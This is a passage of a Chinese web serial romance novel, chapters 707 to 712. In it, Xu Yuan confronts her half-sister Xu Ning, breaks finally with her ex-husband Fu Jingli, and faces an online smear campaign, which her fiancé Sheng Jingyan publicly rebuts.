“许愿,我知道许宁这件事做的不对,但是她毕竟是我唯一的血脉,你知道的,我一把年纪只有许宁这一个亲生女儿,你帮帮我,别伤害许宁,算是给许家留个后代。” 他不仅是在求许愿放过许宁,更是在求许愿不要让苏衡或者陆斯年对许宁出手。 许愿觉得许镇江真的挺敢想的。 许愿脸上的讽意愈发明显了,许镇江如何看不出来?他咬牙:“许愿!我知道这次许宁设计了陆杳杳是她不对,我会教训她的,但你不能……不能就真的不管她,她毕竟是苏青莲安排下留给我的唯一血脉!是你母亲安排的!我不能没有许宁这个女儿你能明白吗!” 他提到了苏青莲。 许宁愣怔呆滞的坐在冰冷的地面上,听到许镇江为了她提起苏青莲时觉得甚是可笑。 她觉得许镇江说的是真的,许镇江那些疼宠其实都是假的,他或许从来不在乎许宁这个所谓的女儿。 他那样的父爱都可能是装出来,他爱许宁吗?那样的爱能有几分呢?能有对苏青莲百分之一的爱吗? 她是真的认为许镇江这样求情,仅仅是因为苏青莲算计他和她的母亲生下了她,因为她在这算计中的一环,所以许镇江才要维护她,多可笑的理由。 第707章 许宁,你是傅氏的罪人 许宁当然不懂许镇江像是疯子一样的爱,更不理解苏青莲到底是什么人。 她不了解,但许镇江了解。 旁人都说苏青莲疯,但只有许镇江知道苏青莲的疯仅限于逼到绝路她才会疯,她本质是个淡雅温婉的气质沉稳的美人,皮囊对他来说才是最不值得一提的。 她因为许镇江那张脸跟许镇江“缔结”婚姻后知道许镇江爱她,爱到不愿跟其他女性发生关系,是真的将她看做了妻子。 她虽然利用了许镇江,却没想许镇江真的为了她守身如玉的绝后。 在许镇江设计她想要跟她发生关系那次她第一时间反应过来并将许宁的母亲带到他身边,巧的是,真的就因为那一晚就有了许宁。 许镇江怎么能不懂苏青莲的意思?苏青莲希望他有后代,这是苏青莲希望的,放纵的结果。 许宁也是被算计的一环,所以许镇江不能让许宁出事。 在他看来,许宁就等同于苏青莲为他留下的后代。 许宁就是意识到这一点整个人才更加绝望。 这一切许宁懂了,但许愿也懂了,但她觉得可笑。 她看着在地上有些可怜的许宁,目光又缓缓移动到许镇江身上。 许镇江这个年岁了,本来已经发福,但许是知道苏青莲还活着,第六感告诉他苏青莲或许快回国,所以许镇江控制饮食的同时又在健身,此刻看着就是温文尔雅却又带着俊逸的中年男性。 许愿扫过他这张脸哼笑:“你可以有更多血脉。” “你现在还不老,你这张脸也拿得出手,你想要后代自然可以有很多,何必在意一个许宁。” 许愿这话才说完,许镇江就又开始显得有些疯癫开口:“我不可能背叛苏青莲!” 就是因为不可能背叛苏青莲,所以许宁这个对他来说可能是唯一后代的女儿才格外重要! “那是你的事,跟我有什么关系呢?”许愿冷笑:“许镇江,你不会真的以为你在我这里有多少面子吧。” “你对我做的那些我没有报复回去就已经算是对你最大的仁慈,你怎么还能求到我这里希望我为你保住许宁?” “你难道真以为你是我的父亲吗?不,你可不是我的父亲,我们是仇人才对。” 她完全不给许镇江希望,将真相残忍的摆在他面前。 许镇江有些慌乱似的,他目光再度落在许宁身上,许宁看看他又看看许愿,身体瑟缩的向后移动,可许愿却步步紧逼。 一步,又一步的逼近。 “许宁,傅京礼也好,许镇江也罢,我不会给他们任何一个人面子。” 许宁更慌了。 许愿垂眸,语气平静。 “我本来不打算理你,这么多天我有找过你的麻烦吗?” “你抢了傅京礼那就让给你,如果你能成为傅家少夫人那也是你的手段,我就算听到你们的婚讯都会给你们送上礼金送上祝福,祝你们百年好合。” “可你为什么要一次又一次的缠上来?” 许宁抬头看着面前的许愿,喉头堵的厉害,她哑着嗓子:“我不甘心。” 她不甘心。 不甘心自己爱的人爱着许愿,不甘心自己所做的一切能被许愿轻易碾压,不甘心自己的生活一团乱麻而许愿高高在上俯瞰她。 不甘心逐渐变成了浓烈的愚蠢的恨意。 她没有说因为什么不甘心,可许愿就是能读懂。 许愿深深的看着许宁,愈发觉得她愚蠢。 许愿能建立那样的商业帝国,她的脑域活跃度本就与旁人不同,许宁做的那些其实她可以推论出前因后果,甚至可以猜到许宁为什么做这种吃力不讨好的事。 很明显不是吗? 许宁这么恨她,比起这种侧面的伤害别人来达到伤害许愿的目的那就太可笑了。 比起伤害许愿的身边人,许宁更愿意伤害许愿本人,这才会让许宁更有所谓的大仇得报的成就感,所以许宁不会直接对陆杳杳出手,且最重要的一点,许家现在的实力地位以及所剩的金钱不足以支撑许宁买通奥特斯特官方让她直接进入决赛,所以这意味着许宁背后一定有其他人。 那会是谁想要对付陆杳杳?目的是什么? 对付陆杳杳的后果是什么?是得罪许愿和陆斯年, 知道陆杳杳被欺负算计的许愿和陆斯年会做什么?会报复,那么最先被查到的事克里斯蒂娜,其实如果没有许宁这一出或许可以猜出是E国克里斯家族的仇人算好的一切。 但偏偏决赛有许宁,有许宁意味着什么?意味着幕后的人就是故意让她察觉到不对,让她去查许宁,让她知道这一切都是许宁做的。 这样造成的后果就是许愿和陆斯年会去对付许宁。 对付许宁后呢?谁会护着许宁? 是傅京礼和许镇江。 可许镇江有什么能力?不过是个外带的,重点在傅京礼身上。 傅京礼是一定会选择护着许宁的,这就代表傅京礼会跟许愿和陆斯年对上,这才是幕后之人想看到的。 幕后之人可能是想算计傅京礼和许愿,让他们直接对上。 但不要忘了一点,陆杳杳跟苏衡的关系暧昧,是被苏衡看重在意的人,所以苏衡也是一定会报复傅京礼而非许愿。 所以最终结果很明显了,做了这一切要对付的是傅京礼。 谁会这样恨傅京礼? 是莱蒂斯和傅长海。 可若是莱蒂斯,比起傅京礼他会更恨许愿,所以不会促成这种所有人都对付傅京礼的局面。 那还会是谁呢?只能是傅长海了。 多可笑啊,傅京礼处处在维护傅长海,甚至在这次的事情发生后还不许她对付傅长海,可他自己知道他是傅长海的眼中钉肉中刺吗?他知道傅长海这么恨他吗。 许愿深深的看着许宁,倏地粲然一笑。 “我大概猜到是谁联系的你。” 许宁大惊失色。 许愿抓住她的头发,稍一使力许宁就只能顺着她的力气靠近她。 “许宁,你是真的愚蠢。” “你那么爱傅京礼,可你却这样蠢笨,你那毫无价值的廉价的爱只会害了傅京礼。” “你会害他无数次,只要他还选择护着你,你就会一直伤害她。” “因为你傅氏如今水深火热不复当初,许宁,你是傅氏的罪人。” 第708章 能不能继续喜欢他 许愿说的话让许宁整个人都呆滞在原地。 什么叫因为她傅氏如今水深火热不复当初,什么叫她是傅氏的罪人。 许愿分明就是在胡说八道,她……已经要站起来冲出去,站起来时还在大喊:“许愿你胡说!我不是傅氏的罪人!我不是!” 只是这话只引来容浔带着讽意的轻嘲。 “许愿是不是胡说,你自己心里不清楚吗。” 这话才出口,许宁本想冲出去的脚步顿住了,她愣怔之际,傅京礼已经离开,唯有许宁觉得自己的脚下千斤重,此刻竟然迈不出步伐。 容浔看着此刻的许宁,眼底的讽意和厌恶愈发重了。 “如果不是因为你插足他们的婚姻,她们不会离婚,许愿不会跟盛景炎在一起,她会一直留在傅氏,傅氏铁三角就不会分开。” “没有你,许愿不会走,沈略不会走。” “没有你,段星河也会帮助傅氏,他和许愿研发的抗癌药物以及AI智能也会让傅氏站得更高。” “没有你,傅氏会得到盛华的帮助,而不是被盛华列上不可合作的企业。” “没有你,阿礼不会为此彻夜买醉郁郁寡欢。” “你不是罪人,谁是罪人呢。” 容浔每一字每一句都在攻击着许宁的心理防线。 容浔是绝对的利傅京礼主义者,所以任何的事在他看来傅京礼士绝对没有错的,错的只会是他身边的人。 他只提许宁插足两人婚姻,却不提傅京礼背叛了这段婚姻。 许宁是罪人,傅京礼亦是,但他又怎么会将错处推到傅京礼身上?在他看来就是许宁蒙蔽哄骗了傅京礼,所以错的只是许宁。 其实这一点硬要说完全是许宁的错也不全是错的,因为容浔看的分明,哪怕那时傅京礼没有彻底爱上许愿,但若是没有许宁插足他对许愿的感情一定会越来越深,而许愿也不会再刚怀孕就被逼离婚,如果不离婚那个孩子是不会出意外一定会诞生的。 许愿和苏逸幼年经历过那么多,如果她真的和傅京礼有一个孩子,哪怕是为了孩子她也不会离开傅氏,而为了孩子傅京礼也绝对会完全回归家庭。 所以,没有许宁,她们的未来是不同的。 就是看的太透了,所以容浔才会这么恨许宁。 许宁被打击的跌坐在原地,就这么呆呆的冷冷的透过窗户看着傅京礼追上许愿。 许宁在上车时听到身后有人在叫自己的名字,她听到傅京礼的声音。 他说:“阿愿,我有苦衷的。” 许愿听到这话停下脚步,她转身去看他。 其实从今天来到许家后,许愿还没有仔细看过他,此刻目光有些平静的落到他身上。 她印象中初见傅京礼是很久前了,只那一眼就让她将人藏在心里记了这么多年,那时候的傅京礼英俊贵气,身上似乎带着与生俱来的疏离冷淡感,哪怕后来跟他结婚他也一直都是那副淡淡的姿态,纵然他有时是温柔的却也让她感受不到几分温情。 现在再见到他,却发现印象中那个好像无所不能的男人在一夜之间褪去了那样遥不可及的疏离感。 他比那时候憔悴太多,脸色是苍白没有血色的,甚至比那时瘦了很多,他的面部线条本就偏凌厉,此刻更添了些难以接近的厉色。 “傅京礼,现在说这些又有什么意思吗。” “有必要吗。” 许愿是真的很想跟傅京礼做个了断,她不止一次告诉傅京礼她们之间没可能,可是他全都没有听进去,他还是一意孤行,她想挽留她,想回到过去。 可凭什么呢? 她们离婚了,她没有义务去原谅他。 “其实我曾经真的很喜欢很喜欢你。” 她突然这样说,傅京礼都有些许怔然。 许愿喜欢他,他当然是知道的。 他也知道自己曾经有多疯狂,他甚至派人监视许愿和盛景炎。 他记得自己那段时间有多黑暗,他亲眼看着监控,看到那上面正在播放许愿与盛景炎坐在长椅上看喷泉的画面。 不知盛景炎说了什么,许愿笑,一头长发被风吹得凌乱,眼尾溢出泪光。他用指尖擦去这些泪滴,依然在笑,断断续续,止不住。 那是傅京礼从未见过的洒脱恣意。 不,其实是见过的,许愿喝醉酒后是会暴露真性情的。那时候的她没有伪装,也没有刻意的讨好与小心翼翼。 但是因为他们曾经签署的婚前协议,是那份苛刻的协议让许愿意识到,对傅京礼而言,自己只是一个工具。于是许愿收束了本性,完美地扮演着一个工具。 是傅京礼亲手扼杀了最真实的许愿。 他早该想到,在虚假的婚姻里,只会存在虚假的感情和伴侣。 那时候傅京礼静静地看着视频,眼尾闪出一抹濡湿的光。他甚至一直在喝酒,桌上放着几个喝空的酒瓶,浓烈的酒精味在书房里弥漫。 他已经没有心思工作了。压下了食道里灼烧般的疼痛不停饮酒。 视频还在继续。盛景炎把头埋进他颈窝,许久不动。摄像头离得太远,看不清盛景炎到底在做什么。 埋在颈窝,大约在亲吻耳侧,亦或吮吸喉结?这是情侣爱人之间才会有的动作,那么亲密。 傅京礼倒了一杯酒,再度一饮而尽。热辣的液体从喉咙一直烧进心里,在胸腔内点了一把火。 握着酒杯的手浮出几条青筋,骨节泛白。 盛景炎把人拢到臂弯里,全然是满足的姿态。 傅京礼闭了闭眼,让视线脱离。再看下去,胸腔里的火焰会把他烧成灰! 数秒之后,眼睛又睁开了。终究还是舍不得不看。 许愿把自己的项链摘下戴在盛景炎脖子上,笑得戏谑,他从未与傅京礼这样玩闹过。 这种彻底放松的状态只会在最亲近也最信任的人面前展露。 对的,那时候傅京礼就知道许愿是真的接受了盛景炎,而盛景炎成为了她最信任的人。 现在,许愿又再次对他开口说,曾经很喜欢他,他其实很想问一句,能不能不只是曾经,能不能现在继续喜欢他。 第709章 我的爱永远拿得出手 傅京礼觉得自己喉咙发堵,他看着许愿,眼底都是无尽的眷恋。 他这样专注藏着赤诚爱意的眼神许愿当然能感受到,许愿退后两步,微微敛眉。 她其实觉得自己已经被染黑了,不然为什么会在傅京礼沉陷下去爱着自己时会有一种他活该这样的快感,是在不甘吗? 因为当初自己的爱没有得到回应,因为自己曾经被他忽略受伤,所以会产生报复心理吗。 许愿惊觉原来自己也会产生这样的恶意,她的手不由得放在自己胸口,她想,或许是该跟傅京礼彻底说清楚然后做个了断的。 “傅京礼,我曾经特别特别喜欢你。” 许愿提到那段喜欢的时候眼睛还是亮的。 “你大概不知道会喜欢你到什么程度,我那时候每天都在看书学习,直到那天你受邀到A大讲座,我看到你的时候我觉得自己的心被绑住了,好像跟你之间产生了灵魂共鸣。” “我开始查你的资料,我想这样优秀的人我要变得多优秀才能配得上他呢?” “我那时除了学习、创业就是一直在想你。” “当你被陷害跟我发生关系的时候我甚至庆幸你遇到的人是我,而我也终于能够跟你产生关联。” “幸运的是我们结婚了,你真的成为了我的丈夫。” “我那时就想,他现在不喜欢我以后也一定会喜欢我,他能感受到我的真心。” “等到我们彼此相爱,我会跟他去很多很多地方留下我们的印记,我们会一起孕育子嗣那是我们血脉的延续。” “你听说过一个叫做黎明的地方吗,有人说那里一天可以看到三次日出,你听说过赛尼尔罗古城河马,有人说那里的河水颜色是爱情的颜色……我总想着,总有一天我们要一起去这些地方。” “去那个叫做黎明的地方看三次日出,然后再夕阳的余晖下亲吻你,去那赛尼尔罗故城的河畔去看世人看到过的爱情的颜色,然后再夜色下调出我们的颜色……” “我总是把一切都想的那样好。” “我就是这样的性格,我认为我的爱干净赤诚,我把能给你的都给了你,我信任你,爱恋你,整颗心理全都是你,我的爱永远拿得出手,可是你呢?” “你说你爱我,你说你没有办法,你说你身不由己,你总是有那样多的借口。” “你的爱,充满了私心盛满了污垢掩盖住了你那些算计和阴谋。” “你这样的爱,在你说出口的时候你不觉得肮脏可笑吗。” 许愿明明是笑着的,可就是每一句都戳到他的心口。 傅京礼看着她,他没有办法为此辩驳,因为许愿说的没错,他的爱是这样的,从来都不纯粹。 “许愿,我有健康的身体。” 他的话才出口,许愿脸上的笑意已经全部都消失了。 “你怎么能够对着我说出你有健康的身体这种话,你在内涵谁?你在暗示阿炎的腿吗!” “你是不是忘记了,当初是傅长海跟其他人一起设计陷害所以阿炎和苏逸才会受伤!阿炎会断了双腿全都因为你的好大伯!你怎么有脸提到这件事!” 旁的人说这件事她可能不会在意,因为盛景炎迟早能站起来。 可她不能听到始作俑者罪魁祸首的家人提这件事。 “你提到这个想表达什么呢?表达你比阿炎优秀吗?可在我眼里你任何地方都比不过阿炎。” “他能给我所有我想要的东西,你却只能给我带来灾难。” “阿炎生在盛家,他却还是能够义无反顾的永远站在我身后,你呢?你可以吗?你只会永远选择傅长海和许宁,这就是你们之间最本质的区别。” 说到这里许愿又嘲讽开口:“你马上就不能因为这件事而得意了,因为阿炎就要站起来了。” “当初我为什么就要对你一眼万年呢?如果当初我能守住自己的心再等一等,或许我就会遇到盛景炎,那就是另一个故事了。” 傅京礼漆黑的瞳眸深沉,他的声音越来越低,他开口,像是在问许愿又像是在问他自己。 “那时候盛景炎就能护住你吗,盛家那么乱,你怎么就能确保他真的能永远选择你。” 许愿根本不需要思考,直接开口反驳他:“你怎么就知道我面对盛家人就没有自保的能力,而且我早就回答过你,在盛景炎这里我是最重要的,这是你们之间最本质的区别。” 话落,许愿已经远远看到盛景炎的身影。 她脸上本来还带着戾意,却在看到盛景炎的那一秒脸上弥漫的全都是笑意。 在看到盛景炎的时候她就是会笑,是那种克制不住的发自内心的笑。 她笑起来时是很美的,眼睛里像是盛满了星星,不,或者说盛装着最耀眼的星夜。 他看的眸光微闪,顺着她的视线看到了坐在轮椅上的盛景炎。 傅京礼眼神一凛。 许愿重新看向身边的男人,她说:“其实刚才有句话我没有说。” “就算阿炎现在站不起来也没关系,就算他一直原地不动也没关系,我可以向前跑满一百步,但我知道他不会让我向前跑满一百步,是阿炎的话,他就算是爬也会爬到我面前。” “而你呢,我向前一百步你会后退一百步,我向前你就会后退,可当你真的肯向前时我已经朝着阿炎的方向跑过去了。” “傅京礼,你能明白吗。” 当你后悔的时候,她已经遇到最合适最爱的人了,所以你们之间没可能了。 她说完这句话就没有再说更多,而是小跑到盛景炎面前,弯腰亲了亲他的侧脸,笑吟吟的。 离开之际许愿回头看了眼傅京礼。 她看到对方明明是站在阳光下的,可却好像置身于寒冰之中。 可那又跟她有什么关系呢? 她们之间早就没有以后了,她曾经的青春,到底只是青春了。 傅京礼眼看着许愿和盛景炎上了车离开,他却只能战旗原地,沉默的看着。 他的手掌盖住脸庞,藏起眸底涌出的痛苦。 第710章 盛景炎,我等你来娶我啊 傅京礼在看许愿和盛景炎的时候,许宁又何尝不是透过窗户望着他。 “看到了吗。” 容浔说:“阿礼爱着许愿,许愿却因为你不愿要他的爱。” “我真不明白你是怎么敢拿自己跟许愿比的,许愿一直以来都有很多人喜欢,就算没有阿礼也会有盛景炎,没有盛景炎也会有惊蛰和宋野,哪怕不提A市,还有隔壁市的人爱慕她,就是宋氏集团唯一的继承人宋观鱼只是跟她短短接触不到一个月的时间就爱她爱到不能自拔。” “这么多人都爱她,而你呢?你又是什么东西,你配得到谁的喜欢?” 容浔根本不打算多留,直接离开。 许镇江看她此刻似乎是有点疯魔,叹了口气。 “许宁,你早就该看开了,你和许愿是不一样的。” “她的母亲是苏青莲,你呢?你的母亲只是一个舞女,她的起点就比你高太多。” “这次如果许愿执意要对付你,你就真的没有以后了,我会再去求她,这次之后你就安分些吧,不要执迷不悟。” 许镇江也没有多留,只是背影看着实在落寞孤寂。 许宁独自一人坐在房间的地板上,许镇江说的那些全都被她忽略了,根本没有放到心里去,容浔那刺耳的话语仿佛还在耳边回荡。 泪水模糊了她的视线,但她却不再试图擦拭,只是任由它们顺着脸颊滑落,滴落在她紧握的双手上。她感到一种深深的无力感和孤独感,仿佛自己被整个世界遗弃。 “爱情……”她低声呢喃着,声音里夹杂着苦涩与自嘲,“我要爱情做什么?我要的是地位,是权势。” 她闭上了眼睛,试图平复内心的波澜,但脑海里不断浮现出那些画面。 许愿被众人环绕、被爱慕的眼神所包围,而自己却只能在暗处默默注视着这一切。 “为什么……为什么我总是得不到想要的东西?”她的心中充满了疑问和不甘,“他们说爱是无私的,可这世界上又有谁真正地爱过我?除了利用我的人,还有谁会真正在乎我的感受?” 想到这里,许宁突然睁开眼睛。 她不要傅京礼的爱了,她只要权势。 对傅京礼她已经彻底死心了。 …… “是为了陆杳杳的事来找的许宁?” 回到盛世,许愿倒是跟着他去了办公室,盛景炎这么问了句,许愿倒是挑了挑眉笑问他:“那不然呢,我还能因为什么事见许宁,你又不是不知道我有多讨厌许宁和许家。” “你不会以为我是想见傅京礼吧,如果你真这么想我肯定要生气的。” 说着理了理桌上纷杂的文件,半晌没听到男人回话,许愿愣了下。 “你不会因为我跟他见面所以吃醋了吧。” 许愿颇有些不敢置信,或者说难以想象。 盛景炎这人真的很少吃醋或者说没吃过醋,因为许愿给了他足够的安全感,不过这突然吃一次醋,许愿都觉得挺有意思的。 许愿忍不住笑,她探头过去,笑眯眯看他:“真吃醋啦~” 盛景炎被她此刻有点坏坏的模样气笑了,直接伸出手将人揽抱进怀里,许愿哼了一声,就已经被盛景炎顺着眉眼吻下来。 听到他开口:“我马上就能重新站起来了。” “我们马上就可以举办婚礼了。” 说这话时两条手臂都收了点力,许愿都能感到有点疼了,不过她也没推开他,甚至觉得他此刻这样有点病娇劲儿反倒是有些带感。 “就等你啦。” “盛景炎,我等你来娶我啊~” 许愿埋进他胸膛,整个人都软趴趴的,跟面对傅京礼和容浔时的姿态全然不同。 也就只有盛景炎能看到她此刻的模样。 许愿想,自己的运气真的很好很好啊,哪怕经历过一段失败的婚姻,但还是遇到了毕生所爱。 …… 许愿这两天时比较累的,干脆赖在盛景炎办公室里休息,盛景炎陪着她,等她睡过去才去看文件。 等许愿醒来后还有些晕晕乎乎的,她摇晃了下头走到窗边,却看到公司门口全都是人,好像是记者。 出什么事了这么多记者。 “外面为什么全是记者?”许愿从休息间走出来,盛景炎揉了揉眉心似乎也不清楚状况。 盛景炎召了助理询问情况才知道发生了什么事。 原来是有人爆料许愿背后有人靠美色上位,其实她幕后有别国高层的影子,抗癌药物也好,智能AI也罢,都是有人在捧着许愿给她造势,许愿本人根本没有这个能力,包括段星河也是被请来捧许愿的。 这件事闹得太大了。 因为许愿在国内太火了,几乎没有人不知道许愿是谁,哪怕不知道许愿长什么样子也知道许愿在各个领域做出的贡献。 但现在有人说这一切都是别人做的,只是花钱让许愿去镀金。 网络上吵得沸沸扬扬。 {早就想说了,许愿一个女人怎么能这么厉害呢?那群人只知道夸她,怎么不提许愿身边多少男人呢?在A市的谁不知道上流圈子那些男人多喜欢许愿?以前在傅氏那些功劳都是傅京礼让给她的吧,也不看看傅京礼爱她爱到什么地步,后来又有了盛景炎来给她散财,隔壁市还有个宋少,国外零零总总的也有不少人捧她,更不要提E国那位华人高层苏衡了,几年前苏衡就跟许愿有联系纠缠过。许愿搞得创新也好,设计也好,明摆着的都是这群男人为她花钱造势,许愿,真玛丽苏白莲花啊!} {别的不清楚但是傅总和盛总对许愿的偏爱那是明眼人都看得出来的,出钱出力什么没给啊,真想让许愿出本书啊,就写怎么勾搭优质男人,我真不挑,给我的男人能有她追求者的一半我都谢天谢地了。} {段星河本来对本国就不算多友好,这人虽然聪明但是他做实验也好研究东西也罢都是被特警队那群人看管的知道吗!说是天才科学家其实跟坐牢没什么区别,许愿跟段星河关系好,段星河是个什么成分啊,你们自己细品吧,我没说许愿是叛徒间谍都是好的!} 第711章 她已经有盛景炎了 {段星河成分复杂,许愿的母亲成分就不复杂了?当初多少外国人追求苏青莲呢,这母女两人真是如出一辙的恶心人,而且苏青莲研究的那些……谁知道是不是苏青莲研究的?别忘了苏青莲的青梅竹马是唐清江,那个国内曾有名的科研人员!} {以前许愿火的时候就想吐槽了,她哪里就那么全能了,别人会的她全会,别人不会的她也会,现在知道了,她们母女其实没那么厉害,全都是花钱买的功劳。} 在网络的阴暗角落,关于许愿的恶意言论如潮水般涌来。键盘侠们躲在屏幕后,肆无忌惮地发表着他们那充满偏见和误解的观点。 {许愿以为自己是谁?一个靠着男人出头的女人罢了!} {听说她那些所谓的成就背后都有个男人在撑腰,真不知道她有什么好炫耀的。} {段星河跟她走那么近,是不是也被她的手段迷惑了?这女人真是祸国殃民啊!} {苏青莲的女儿果然也是个花瓶,母女俩一个德行,靠卖弄风情上位。} {许愿要是真的有才华,就不会总是需要男人的帮助了。} {而且最重要的一点,以前总有人说是许宁插足了傅总和许愿的婚姻,怎么不说是许愿先出轨呢?毕竟许愿和盛景炎的关系有多好大家有目共睹!} {说起来傅总跟许愿离婚其实应该就是知道许愿是个草包了吧,我记得傅氏有人提到过傅总根本不在乎许愿,不然也不会那三年没人知道他们的夫妻关系呢,说不定也是知道许愿背着他跟其他男人乱搞所以傅总才离婚的!} 这些话在网络上迅速扩散,像病毒一样传播,形成了对许愿的围攻之势。 面对这一切,许愿坐在办公室里,盯着手机屏幕上那一条条恶毒的评论,心中的怒火几乎要将她吞噬。 “这些人凭什么这样说我?” 许愿的手指紧紧握成拳,指节因用力而发白,“我所付出的努力,我的每一个创意、每一次尝试,都被他们轻易地否定为‘买来的功劳’。难道就因为我是个女人,所以就不能有自己的成功吗?” 她深吸一口气,试图平复内心的愤怒。 “这些人根本不知道我在背后付出了多少,也不知道我所经历的……”许愿看到这些甚至觉得可笑。 盛景炎显然比许愿更愤怒,他当然知道许愿的能力,就是知道才会觉得这一切有多离谱多可笑。 他已经吩咐人下去调查清楚背后到底是谁在带节奏,然后安慰了许愿很久。 “出去吧,没事的,有我在。”盛景炎这样说了,许愿也只是笑了笑,她本来也不是怕,只是气。 不过盛景炎说没事,那自然是没事的。 记者还来不及围困两位主角就被一群保镖隔开。说是保镖其实都是特警队的人,记者的长枪短炮根本不敢乱拍。 许愿朝旁边伸出手,立刻就有人递上早已准备好的鸭舌帽。 许愿将帽子扣在头上,阴影笼罩下来,帽檐挡住外界的窥探,许愿的心却是沉下来。 盛景炎一直守在她身边,保镖已经开了车子过来。 “车子来了。” 他话音刚落,就有一辆车开过来,车门早已打开,座位已经腾空,盛景炎让许愿先上去。 许愿刚被混乱包围,转眼就进入了一个安全的所在。 许愿抬起帽檐,朝盛景炎看去,盛景炎看着她笑笑,却没有跟着上车。 盛景炎看向那群记者。 记者们意识到自己还有采访的机会,连忙喊出问题:“请问盛总,你是不是插足了傅总的婚姻?” “你们应该去问傅京礼,他的婚姻算婚姻吗?”盛景炎似笑非笑地说道。 记者:“……” 旁边有人大声问:“盛总,你真的喜欢许愿吗?你觉得他配得上你吗?” 许愿:“……”许愿都被气笑了,这群人还真是拿她当孬种了啊!真是网上说什么就信什么! 许愿是真的在生气,气的想要冲出去跟这群人理论。 刑从景将人拉回来,眸色淡淡的:“盛景炎在下面你担心什么,我这边已经安排人去查这次热搜的原因了,你先冷静。” 许愿还是皱了皱眉,直到看向车窗外,盛景炎对她轻微的点了下头许愿才安静下来。 “配不配得上,我说了算,由不得外人多嘴。”盛景炎勾唇一笑,语气中带着冰冷的嘲讽。 “我不是傅京礼,除了工作什么都不在乎。媒体如果乱说话,我可是会生气的。”到了这个时候,他还不忘给傅京礼上眼药。 许愿漾着笑意的眼眸暗淡几分,傅京礼曾经确实是这样的。 傅京礼的确是一个除了工作,什么都不在乎的人。他从不理会网上的流言蜚语,许愿却做不到。 不曾离婚的时候,许愿被黑被骂的时候只能独自去面对网络暴力。 可是现在,她不是一个人了,她已经有盛景炎了。 盛景炎指了指周围这群记者,警告:“不要在网络上造谣生事,如果让我知道各位在网上乱说话,你们马上就能收到律师函。” “那些东西是不是许愿研究的你们自己没有脑子去思考?网络上说什么就是什么?怎么?H国整日里说华国的东西是他们的就真成他们的了?那时候知道网络对喷,现在就没有脑子了?” 锐利的目光扫过所有人,带来彻骨的寒意。 记者们额冒冷汗,连忙垂头。 有人在现场对准盛景炎在直播,此刻躲在网络里看直播的网友们忍不住缩了缩脖子,放在键盘上的手指变得十分僵硬。 有些人准备发弹幕骂一骂许愿,现在却一个比一个老实。 一条闪烁着金光的弹幕慢慢滑过去公屏——【我在乎。】 网友们仔细一看,艹!弹幕竟然是傅总发的!他没在工作,反而挤进直播间凑热闹,还发弹幕!这不是他的风格! 对了,他在乎什么? 仔细回忆盛景炎的话,网友们终于明白过来。傅总在乎许愿!他说他在乎! 盛景炎已经听到有人大喊着傅总在乎许愿这种话了。 第712章 做的一切都被曝光出去 记者赶紧问了句:“盛总!傅总说她在乎许总,请问盛总您怎么看!” 盛景炎眸光冷淡,嘲讽道:“现在在乎?早干什么去了?让她去在乎许宁,别来招惹许愿。” “还有,如果有人能写出一份让我满意的稿子,我会考虑接受那家的采访,好好说一说我们之间的‘爱恨纠葛’。” 话落盛景炎上了车,保镖们正准备驱散周围的记者,这群人却一个比一个跑得快,眨眼就走光了。 谁能写出最好的稿子,谁就能得到盛总的专访,这个时候不冲,什么时候冲? 网友们也在激动了,等着看盛景炎接受采访呢。 有人在网络上已经开始吵嚷了。 {盛总说的没错叭,也没证据证明那些跟许愿无关啊,就直接发了乱七八糟的通稿就说许愿背后有人被人强捧的,证据都没有怎么能信呢!} {那群人就揪着许愿是女人在那里骂,不停地说许愿一个女人不可能这么聪明这类的话,这不是搞性别对立吗!而且有些男的一看到是攻击女性闻着味儿就来了,看到点赞最多的那些评论有多恶臭吗?不停地在造许愿的黄谣,那些点赞的人有多少就知道有多少恶臭男了。} {这种人就是典型的不能看别人的好,整日无所事事等着挑别人的错处,我寻思不管那些事是不是真的,许愿漂亮是真的吧,许愿高考成绩这些年的成绩不能作假吧!她是一路跳级上来的,高考的时候才十四岁且还是当年的高考状元,初中高中都代表国家参加过物化生的理科竞赛拿到过金奖,那些张口就嘲讽许愿的人有她这些成绩吗?许愿大学建立的基金会帮了多少人这难道也都是假的吗?那些造谣的没有证据,但是许愿的优秀却是都能看得到的!} {有人嘲讽说许愿一个女人凭什么那么多男人追求,不是睡了就是在勾搭男人,我都要笑死了,你要不要看看许愿长什么样子,要不要看看许愿给那些公司创造了多少价值!他们不喜欢许愿难道喜欢你吗!} {许愿研究出抗癌药物后免费帮助了多少患癌家庭!就这样还要抓着许愿抨击!你们知道许愿这件事上就砸进去多少钱吗!我是盛世的员工,因为这件事盛世董事会召开会议反驳,是许愿执意要救那群人!是许愿用自己的钱在救那群人!她一直在救人你们却一直在诬陷她给她造谣,你们扪心自问,你们有钱的时候肯为那些穷人花这笔钱吗!你们肯为她们建立基金会吗!} 有关于许愿的热搜还在不断攀升,太多人都在讨论,那群爹味儿十足的人还在那里指指点点。 被许愿拯救的癌症病人的家人在网上不停回应。 {是许愿救了我父亲,我们家很穷,父亲查出是癌症,不到晚期但是我们家真的付不起手术费,抗癌药物还没有优化,我们家没有房没有车,就是想卖东西都卖不了,我满怀希望给盛世发了私信,盛世真的带人来接走我父亲进行治疗,许愿的抗癌药物真的有用,我父亲的癌细胞已经被消灭很多了,副作用肯定是有,就是会头晕只能吃清淡的,许总说已经在优化了,感谢许总救了我父亲!} {我母亲癌病晚期医院都说没得治了,是盛世的许总救了我母亲,我不允许有人伤害许总针对许总!} 这是那些家人们的发声,也有人在嘲讽许愿说自己有钱肯定也会救人,然后就被一些人调查开户,那群人救什么人? 那群人里面有肇事逃逸的,有家暴赌钱的,有被抓到飄的,全都是一群脏人烂人,那群人被开户了也怕事情闹大不敢吱声赶紧都在删除评论了。 这件事热度持续攀升,很快就登上了各大新闻版面的头条。所有人都在关注后续报道。 看完直播,张雨萌的身体已经僵住。 张雨萌就是那个童星出身曾经跟温栩栩一起参加选秀综艺最后却没能出道,诬陷傅嘉誉最后得罪傅氏让张家陷入舆论风暴,甚至演了一出自杀好戏来针对温栩栩的女星。 她本来就已经凉了,但知道温栩栩那么“嚣张”只因为她背后的人是许愿后她就开始怨恨,想要报复许愿,所以才花钱找了营销号诬陷许愿,这次的事全都是张雨萌闹出来的。 但是看到有人那么快就将人开户,就开始怕了,她怕查到自己身上,怕自己做的一切都会被曝光出去。 为了拿到盛景炎的专访,没有记者会手下留情。他们一定会深挖,深挖,不断深挖。 不把这桩案件写出花儿来,他们决不罢休。 